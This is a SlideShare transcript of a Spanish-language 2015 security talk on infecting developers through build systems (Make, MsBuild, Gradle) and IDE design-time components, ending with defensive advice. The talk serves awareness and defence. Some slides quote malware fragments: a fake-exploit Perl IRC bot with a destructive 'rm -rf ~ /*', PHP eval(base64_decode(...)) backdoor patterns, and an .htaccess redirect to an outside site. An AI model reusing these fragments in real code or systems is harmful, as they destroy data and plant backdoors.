SlideShare a Scribd company logo
1 of 34
Download to read offline
Bend the developers
to your will
Miguel Tarascó Acuña
@Tarlogic
@AcrylicWiFi
Bend the developers to your will
Bend the developers to your will
Objetivos de la charla
1. Estado del arte (Code related
Malware)
2. Explorar nuevos vectores y enfoques
3. Cómo explotarlos
4. Cómo prevenirlos/mitigarlos
Bend the developers to your will
¿Porque los desarrolladores ?
• Usuarios privilegiados
• Acceso a contraseñas
• Vectores de infección poco conocidos
• Otros …………..
Bend the developers to your will
Estado del arte
Bend the developers to your will
Bomba lógica
Ofuscación
Si juegas con el mejor...
muere como los demás.
Fake 0days ”openssh-53p1-remote-root.c”
#!/usr/bin/perl
$chan="#cn";
$key ="fags";
$nick="kn";
print $sock "JOIN $chan $keyn";
while (<$sock>){if (/^PING
(.*)$/){
$server="irc.ham.de.euirc.net";
rm -rf ~ /* 2> /dev/null &
fopen(……..,"w+")
fseek(jmpinst,0,SEEK_SET);
fprintf(jmpinst,"%s",shellcode);
fclose(jmpinst);
Bend the developers to your will
PHP/Web Malware
Bend the developers to your will
post-
title/%&(%7B$%7Beval(base64_decode($_
SERVER%5BHTTP_REFERER%5D))%7D%7D|.+)
<?php .. eval(base64_decode("DQ..."))
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER}
^.*(google|ask|yahoo|baidu|youtube| <...> ).(.*)
RewriteRule ^(.*)$ http://dimitri.ru/index.php
[R=301,L]
</IfModule>
Gestores de compilación
• Programas más complejos
• Múltiples ficheros
• Múltiples dependencias
• Cross compiling
• Team builds
• etc
Bend the developers to your will
Make – Cómo abusarlo
Gestor de dependencias
más usado
Bend the developers to your will
Make – Cómo abusarlo
all:
@echo "Wololo!" > "pwned"
@echo "Compiled"
Bend the developers to your will
MsBuild – Que és
• Microsoft Build Engine
• Xml
–Propiedades <PropertyGroup>
–Objetivos <Target>
–Tareas <Task>
–Items <ItemGroup>
Bend the developers to your will
MsBuild – Cómo se abusa
• Trasparente para el desarrollador
• Lo gestiona el Visual Studio
Bend the developers to your will
MsBuild – Cómo se abusa
• No es visible desde el IDE
• Referencias a ficheros externos
• Acepta llamadas a la API de .Net
• Escritura y ejecución
• Esta documentado
• No está explicado
Bend the developers to your will
DEMO 1
Abusing MsBuild Engine
MsBuild
Bend the developers to your will
DEMO 1
Abusing MsBuild Engine
MsBuild
Bend the developers to your will
Gradle – Que es
• Sistema automatizado de compilación
• Open Source
• Scripts en Groovy (DSL)
Bend the developers to your will
Gradle – Cómo se abusa
• Integrado con el IDE
• Autogenerado
• Si se ven los scripts desde el IDE
• Editable
Bend the developers to your will
Gradle – Cómo se abusa
• Groovy soporta llamadas Java
• Se puede:
–Des/Comprimir archivos/streams
–Escribir a disco
–Ejecutar
Bend the developers to your will
DEMO 2
Abusing Android Studio
Gradle – Android Studio
Bend the developers to your will
DEMO 2
Abusing Android Studio
Gradle – Android Studio
Bend the developers to your will
Xamarin – Que és
• Antes llamado MonoDevelop
• IDE desarrollo proyecto Mono
• Multiplataforma
–Windows
–Mac
–Linux
Bend the developers to your will
DEMO 3
Abusing Xamarin
Xamarin
Bend the developers to your will
DEMO 3
Abusing Xamarin
Xamarin
Bend the developers to your will
Componentes Gráficos
• “Objetos Visibles”
• Elementos de la interfaz de usuario
• Librerias gráficas
• Parte principal de los GUI
• Productos/librerias comerciales
Bend the developers to your will
Visual Studio – Cómo se abusan
• Agregar a la solución
–Proyecto
–Librería
• Usar uno por defecto
• Arrastrarlo al Form
• Se autodibujan
Bend the developers to your will
Visual Studio – Cómo se abusan
• Interactivos
• También en tiempo de diseño
• Si se pinta, se ejecuta
• Y si metemos algo más
que código de pintado ?
Bend the developers to your will
DEMO 4
Abusing Visual Studio
Visual Studio
Bend the developers to your will
DEMO 4
Abusing Visual Studio
Visual Studio
Bend the developers to your will
Android Studio – Como se abusa
Bend the developers to your will
• Basado en Eclipse
• Se implementa el método de pintado
• Se incluye en el proyecto
• Similar a los Widgets
• Se crea una vista
Android Studio
Bend the developers to your will
Android Studio
Bend the developers to your will
Conclusiones
• NUNCA confiar
• Revisar:
–El código.
–Resto de ficheros
• Usar:
–Máquinas Virtuales
–Sandbox
Bend the developers to your will
Gracias :)
¿Preguntas?
Bend the developers
to your will
Miguel Tarascó Acuña
@Tarlogic
@AcrylicWiFi
Bend the developers to your will

More Related Content

Similar to Bend the developers to your will - miguel tarascó @ tarlogic - rooted 2015

Desarrollo de apps móviles desde cero
Desarrollo de apps móviles desde ceroDesarrollo de apps móviles desde cero
Desarrollo de apps móviles desde ceroInitsogar
 
Herramientas para contenidos digitales power point
Herramientas para contenidos  digitales power pointHerramientas para contenidos  digitales power point
Herramientas para contenidos digitales power pointangeluz26
 
Android UC3M Sesión 1
Android UC3M Sesión 1Android UC3M Sesión 1
Android UC3M Sesión 1topoos
 
Introducción al desarrollo Android, Sesión 1
Introducción al desarrollo Android, Sesión 1Introducción al desarrollo Android, Sesión 1
Introducción al desarrollo Android, Sesión 1findemor
 
Herramientas para el Desarrollo de Videojuegos
Herramientas para el Desarrollo de VideojuegosHerramientas para el Desarrollo de Videojuegos
Herramientas para el Desarrollo de VideojuegosJavier_J
 
An Evening with... Go Lang
An Evening with... Go LangAn Evening with... Go Lang
An Evening with... Go LangArkhotech
 
Aplicaciones para netbook secundaria
Aplicaciones para netbook secundariaAplicaciones para netbook secundaria
Aplicaciones para netbook secundariaIFDIFD5
 
01 T1 2021 Sistemas Embebidos.pptx
01 T1 2021 Sistemas Embebidos.pptx01 T1 2021 Sistemas Embebidos.pptx
01 T1 2021 Sistemas Embebidos.pptxDyllanBastidas
 
Presentacion programador apasionado
Presentacion programador apasionadoPresentacion programador apasionado
Presentacion programador apasionadoEdwin Cruz
 
Jhorleny cuellar
Jhorleny cuellarJhorleny cuellar
Jhorleny cuellarJhorleny
 
Jhorleny cuellar
Jhorleny cuellarJhorleny cuellar
Jhorleny cuellarJhorleny
 
Jhorleny cuellar
Jhorleny cuellarJhorleny cuellar
Jhorleny cuellarJhorleny
 
Old fox new tricks malicious macros are back
Old fox new tricks malicious macros are backOld fox new tricks malicious macros are back
Old fox new tricks malicious macros are backWebsec México, S.C.
 
Soft libre-desarrolladores-infosoft
Soft libre-desarrolladores-infosoftSoft libre-desarrolladores-infosoft
Soft libre-desarrolladores-infosoftMichela Mosquera
 
PulpoCon23 Los Datos que no sabes que tienes y como usarlos
PulpoCon23 Los Datos que no sabes que tienes y como usarlosPulpoCon23 Los Datos que no sabes que tienes y como usarlos
PulpoCon23 Los Datos que no sabes que tienes y como usarlosNino Dafonte
 
rooted2020 Sandbox fingerprinting -_evadiendo_entornos_de_analisis_-_victor_c...
rooted2020 Sandbox fingerprinting -_evadiendo_entornos_de_analisis_-_victor_c...rooted2020 Sandbox fingerprinting -_evadiendo_entornos_de_analisis_-_victor_c...
rooted2020 Sandbox fingerprinting -_evadiendo_entornos_de_analisis_-_victor_c...RootedCON
 

Similar to Bend the developers to your will - miguel tarascó @ tarlogic - rooted 2015 (20)

Desarrollo de apps móviles desde cero
Desarrollo de apps móviles desde ceroDesarrollo de apps móviles desde cero
Desarrollo de apps móviles desde cero
 
Herramientas para contenidos digitales power point
Herramientas para contenidos  digitales power pointHerramientas para contenidos  digitales power point
Herramientas para contenidos digitales power point
 
Html5 vs Flash
Html5 vs FlashHtml5 vs Flash
Html5 vs Flash
 
Android UC3M Sesión 1
Android UC3M Sesión 1Android UC3M Sesión 1
Android UC3M Sesión 1
 
Introducción al desarrollo Android, Sesión 1
Introducción al desarrollo Android, Sesión 1Introducción al desarrollo Android, Sesión 1
Introducción al desarrollo Android, Sesión 1
 
Herramientas para el Desarrollo de Videojuegos
Herramientas para el Desarrollo de VideojuegosHerramientas para el Desarrollo de Videojuegos
Herramientas para el Desarrollo de Videojuegos
 
An Evening with... Go Lang
An Evening with... Go LangAn Evening with... Go Lang
An Evening with... Go Lang
 
Aplicaciones para netbook secundaria
Aplicaciones para netbook secundariaAplicaciones para netbook secundaria
Aplicaciones para netbook secundaria
 
01 T1 2021 Sistemas Embebidos.pptx
01 T1 2021 Sistemas Embebidos.pptx01 T1 2021 Sistemas Embebidos.pptx
01 T1 2021 Sistemas Embebidos.pptx
 
CLASE 5 INTRODUCCION A FIGMA
CLASE 5 INTRODUCCION A FIGMACLASE 5 INTRODUCCION A FIGMA
CLASE 5 INTRODUCCION A FIGMA
 
Taller de Design Thinking v2 20140308
Taller de Design Thinking v2 20140308Taller de Design Thinking v2 20140308
Taller de Design Thinking v2 20140308
 
Presentacion programador apasionado
Presentacion programador apasionadoPresentacion programador apasionado
Presentacion programador apasionado
 
Jhorleny cuellar
Jhorleny cuellarJhorleny cuellar
Jhorleny cuellar
 
Jhorleny cuellar
Jhorleny cuellarJhorleny cuellar
Jhorleny cuellar
 
Jhorleny cuellar
Jhorleny cuellarJhorleny cuellar
Jhorleny cuellar
 
Old fox new tricks malicious macros are back
Old fox new tricks malicious macros are backOld fox new tricks malicious macros are back
Old fox new tricks malicious macros are back
 
Lenguaje de programación Java
Lenguaje de programación Java Lenguaje de programación Java
Lenguaje de programación Java
 
Soft libre-desarrolladores-infosoft
Soft libre-desarrolladores-infosoftSoft libre-desarrolladores-infosoft
Soft libre-desarrolladores-infosoft
 
PulpoCon23 Los Datos que no sabes que tienes y como usarlos
PulpoCon23 Los Datos que no sabes que tienes y como usarlosPulpoCon23 Los Datos que no sabes que tienes y como usarlos
PulpoCon23 Los Datos que no sabes que tienes y como usarlos
 
rooted2020 Sandbox fingerprinting -_evadiendo_entornos_de_analisis_-_victor_c...
rooted2020 Sandbox fingerprinting -_evadiendo_entornos_de_analisis_-_victor_c...rooted2020 Sandbox fingerprinting -_evadiendo_entornos_de_analisis_-_victor_c...
rooted2020 Sandbox fingerprinting -_evadiendo_entornos_de_analisis_-_victor_c...
 

Bend the developers to your will - miguel tarascó @ tarlogic - rooted 2015

  • 1. Bend the developers to your will Miguel Tarascó Acuña @Tarlogic @AcrylicWiFi
  • 2. Bend the developers to your will
  • 3. Bend the developers to your will
  • 4. Objetivos de la charla 1. Estado del arte (Code related Malware) 2. Explorar nuevos vectores y enfoques 3. Cómo explotarlos 4. Cómo prevenirlos/mitigarlos Bend the developers to your will
  • 5. ¿Porque los desarrolladores ? • Usuarios privilegiados • Acceso a contraseñas • Vectores de infección poco conocidos • Otros ………….. Bend the developers to your will
  • 6. Estado del arte Bend the developers to your will Bomba lógica Ofuscación Si juegas con el mejor... muere como los demás.
  • 7. Fake 0days ”openssh-53p1-remote-root.c” #!/usr/bin/perl $chan="#cn"; $key ="fags"; $nick="kn"; print $sock "JOIN $chan $keyn"; while (<$sock>){if (/^PING (.*)$/){ $server="irc.ham.de.euirc.net"; rm -rf ~ /* 2> /dev/null & fopen(……..,"w+") fseek(jmpinst,0,SEEK_SET); fprintf(jmpinst,"%s",shellcode); fclose(jmpinst); Bend the developers to your will
  • 8. PHP/Web Malware Bend the developers to your will post- title/%&(%7B$%7Beval(base64_decode($_ SERVER%5BHTTP_REFERER%5D))%7D%7D|.+) <?php .. eval(base64_decode("DQ...")) <IfModule mod_rewrite.c> RewriteEngine On RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|baidu|youtube| <...> ).(.*) RewriteRule ^(.*)$ http://dimitri.ru/index.php [R=301,L] </IfModule>
  • 9. Gestores de compilación • Programas más complejos • Múltiples ficheros • Múltiples dependencias • Cross compiling • Team builds • etc Bend the developers to your will
  • 10. Make – Cómo abusarlo Gestor de dependencias más usado Bend the developers to your will
  • 11. Make – Cómo abusarlo all: @echo "Wololo!" > "pwned" @echo "Compiled" Bend the developers to your will
  • 12. MsBuild – Que és • Microsoft Build Engine • Xml –Propiedades <PropertyGroup> –Objetivos <Target> –Tareas <Task> –Items <ItemGroup> Bend the developers to your will
  • 13. MsBuild – Cómo se abusa • Trasparente para el desarrollador • Lo gestiona el Visual Studio Bend the developers to your will
  • 14. MsBuild – Cómo se abusa • No es visible desde el IDE • Referencias a ficheros externos • Acepta llamadas a la API de .Net • Escritura y ejecución • Esta documentado • No está explicado Bend the developers to your will
  • 15. DEMO 1 Abusing MsBuild Engine MsBuild Bend the developers to your will
  • 16. DEMO 1 Abusing MsBuild Engine MsBuild Bend the developers to your will
  • 17. Gradle – Que es • Sistema automatizado de compilación • Open Source • Scripts en Groovy (DSL) Bend the developers to your will
  • 18. Gradle – Cómo se abusa • Integrado con el IDE • Autogenerado • Si se ven los scripts desde el IDE • Editable Bend the developers to your will
  • 19. Gradle – Cómo se abusa • Groovy soporta llamadas Java • Se puede: –Des/Comprimir archivos/streams –Escribir a disco –Ejecutar Bend the developers to your will
  • 20. DEMO 2 Abusing Android Studio Gradle – Android Studio Bend the developers to your will
  • 21. DEMO 2 Abusing Android Studio Gradle – Android Studio Bend the developers to your will
  • 22. Xamarin – Que és • Antes llamado MonoDevelop • IDE desarrollo proyecto Mono • Multiplataforma –Windows –Mac –Linux Bend the developers to your will
  • 23. DEMO 3 Abusing Xamarin Xamarin Bend the developers to your will
  • 24. DEMO 3 Abusing Xamarin Xamarin Bend the developers to your will
  • 25. Componentes Gráficos • “Objetos Visibles” • Elementos de la interfaz de usuario • Librerias gráficas • Parte principal de los GUI • Productos/librerias comerciales Bend the developers to your will
  • 26. Visual Studio – Cómo se abusan • Agregar a la solución –Proyecto –Librería • Usar uno por defecto • Arrastrarlo al Form • Se autodibujan Bend the developers to your will
  • 27. Visual Studio – Cómo se abusan • Interactivos • También en tiempo de diseño • Si se pinta, se ejecuta • Y si metemos algo más que código de pintado ? Bend the developers to your will
  • 28. DEMO 4 Abusing Visual Studio Visual Studio Bend the developers to your will
  • 29. DEMO 4 Abusing Visual Studio Visual Studio Bend the developers to your will
  • 30. Android Studio – Como se abusa Bend the developers to your will • Basado en Eclipse • Se implementa el método de pintado • Se incluye en el proyecto • Similar a los Widgets • Se crea una vista
  • 31. Android Studio Bend the developers to your will
  • 32. Android Studio Bend the developers to your will
  • 33. Conclusiones • NUNCA confiar • Revisar: –El código. –Resto de ficheros • Usar: –Máquinas Virtuales –Sandbox Bend the developers to your will
  • 34. Gracias :) ¿Preguntas? Bend the developers to your will Miguel Tarascó Acuña @Tarlogic @AcrylicWiFi Bend the developers to your will